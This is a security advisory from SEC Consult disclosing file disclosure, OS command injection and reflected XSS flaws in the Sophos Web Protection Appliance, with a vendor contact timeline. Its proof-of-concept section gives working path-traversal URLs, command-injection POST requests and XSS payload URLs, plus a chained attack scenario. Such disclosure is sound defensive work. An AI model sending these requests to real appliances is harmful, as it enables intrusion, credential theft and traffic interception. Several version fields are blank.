Multiple vulnerabilities in Sophos Web Protection Appliance

SEC Consult Vulnerability Lab Security Advisory < 20130403-0 >


title: Multiple vulnerabilities

product: Sophos Web Protection Appliance

vulnerable version: <=

fixed version:

impact: Critical

CVE number: CVE-2013-2641, CVE-2013-2642, CVE-2013-2643


found: 2013-01-14

by: Wolfgang Ettlinger

SEC Consult Vulnerability Lab




Vendor/product description:


"Our award-winning Secure Web Gateway appliances make web protection easy.

They are quick to setup, simple to manage and make policy administration a

snap, even for non-technical users."





Business recommendation:


SEC Consult has identified several vulnerabilities within the components of

the Sophos Web Protection Appliance in the course of a short crash test. Some

components have been spot-checked, while others have not been tested at all.


An attacker can get unauthorized access to the appliance and plant backdoors or

access configuration files containing credentials for other systems (eg. Active

Directory/FTP login) which can be used in further attacks.

Since all web traffic passes through the appliance, interception of HTTP as

well as the plaintext form of HTTPS traffic (if HTTPS Scanning feature in use),

including sensitive information like passwords and session Cookies is possible.

If HTTPS Scanning is enabled, the appliance holds a private key for a

Certificate Authority (CA) certificate that is installed/trusted on all

workstations in the company. If this private key is compromised by an attacker,

arbitrary certificates can be signed. These certificates will then pass

validation on the client machines, enabling in various attacks targeting

clients (MITM, phishing, evilgrade, ...).


The recommendation of SEC Consult is to switch off the product until a

comprehensive security audit based on a security source code review has been

performed and all identified security deficiencies have been resolved by the



Vulnerability overview/description:


1) Unauthenticated local file disclosure (CVE-2013-2641)

Unauthenticated users can read arbitrary files from the filesystem with the

privileges of the "spiderman" operating system user. These files include

configuration files containing sensitive information such as clear text

passwords which can be used in other attacks.

Furthermore the webserver log file which holds valid PHP session IDs can be

accessed. With this information administrator users can be impersonated.


2) OS command injection (CVE-2013-2642)

Authenticated users can execute arbitrary commands on the underlying

operating system with the privileges of the "spiderman" operating system user.

This can be used to get persistent access to the affected system (eg. by

planting backdoors), accessing all kinds locally stored information or

intercepting web traffic that passes through the appliance.

Unauthenticated users can exploit this kind of vulnerability too (depends on

appliance configuration).


3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643)

Reflected Cross Site Scripting vulnerabilities were found. An attacker can use

these vulnerabilities the exploit other vulnerabilities in the web interface

or conducting phishing attacks.



Proof of concept:


1) Unauthenticated local file disclosure (CVE-2013-2641)

As an example, an unauthenticated user can download the configuration file

containing the salted hash of the administrator password as well as clear text

passwords e.g. for FTP backup storage or Active Directory authentication:


https:// <host>/cgi-bin/patience.cgi?id=../../persist/config/shared.conf%00


Furthermore the Apache access log can be retrieved. As PHP session IDs are

passed via the URL rather than via Cookies, these can be found in this log

file and effectively used to impersonate administrator users:


https:// <host>/cgi-bin/patience.cgi?id=../../log/ui_access_log%00


An excerpt from the log file shows that it contains PHP session ID information

(parameter "STYLE").

<host> - - [21/Feb/2013:17:02:17 +0000] "POST /index.php?c=dashboard HTTP/1.1" 200 139 
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"



2) OS command injection (CVE-2013-2642)

The "Diagnostic Tools" functionality allows an authenticated user to inject

arbitrary operating system commands enclosed in backticks (`). These commands

are run with the privileges of the operating system user "spiderman":

POST /index.php?c=diagnostic_tools HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 92
Cache-Control: no-cache

action=wget&section=configuration&STYLE=<valid session id>&url=%60sleep%205%60



The "Local Site List" functionality allows injection of arbitrary OS commands:

POST /index.php?c=local_site_list_editor HTTP/1.1

Host: <host>

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 205

STYLE=<valid session id>&action=save&entries=[{"url"%3a+".'`sleep+10`'",+"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}]


Note: Unauthenticated users can retrieve valid session IDs using the

vulnerability in 1).


If a customized template for the "Block page" uses the variable

"%%user_workstation%%", an _unauthenticated_ user can inject OS commands using the

following URL:


https:// <host>/end-user/index.php?reason=application&client-ip=%20%60sleep+10%60



3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643)

The following URLs demonstrate reflected Cross Site Scripting vulnerabilities:


https:// <host>/rss.php action=allow&xss=%3Cscript%3Ealert%28String.fromCharCode%28120,%20115,%20115%29%29%3C/script%3E
https:// <host>/end-user/errdoc.php?e=530&msg=PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ%2bCg%3d%3d
https:// <host>/end-user/ftp_redirect.php?r=x&h=%3C/script%3E%3Cscript%3Ealert%281%29%3b%3C/script%3E
https:// <host>/index.php?c=blocked&reason=malware&user=&&threat=%3Cscript%3Ealert%281%29%3C/script%3E


As the application uses URL parameters to transmit session IDs and rather

than cookies, session stealing attacks cannot be executed using these flaws.

However, these vulnerabilities can still be used to fake login pages for

phishing purposes.

Furthermore the vulnerabilities in 1) and 2) can be exploited via one of the

XSS vulnerabilities. This enables attacks on the appliance even when the

web interface would otherwise not be reachable to the attacker.


Possible attack scenario:

Use XSS to run malicous Javascript in the browser of a user who has network

access to the web interface. This code can:

- Exploit the local file disclosure vulnerability (see 1) in order to gain

access to valid session IDs and impersonate administrator users.

- Exploit the OS command injection (see 2) in order to execute arbitrary

commands on the system.

- Exfiltrate sensitive information like HTTP, (plaintext) HTTPS traffic or the

private key for the CA certificate used for HTTPS scanning (MITM).



Vulnerable / tested versions:


The vulnerabilities have been verified to exist in the Sophos Web Protection

Appliance version, which was the most recent version at the time of




Vendor contact timeline:


2013-02-22: Sending advisory and proof of concept exploit via encrypted


2013-02-23: Vendor acknowledges receipt of advisory.

2013-03-01: Vendor confirms reported issues and provides preliminary

information about release dates.

2013-03-07: Conference call: Addressing the risks the discovered

vulnerabilities pose to customers and release schedule.

2013-03-18: Vendor starts rollout of update to "a first group of customers".

2013-04-03: SEC Consult releases coordinated security advisory.





Update to Web Protection Appliance version


More information can be found at:





No workaround available.



Advisory URL:





SEC Consult Unternehmensberatung GmbH


Office Vienna

Mooslackengasse 17

A-1190 Vienna



Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com



EOF Wolfgang Ettlinger, Stefan Viehböck / @2013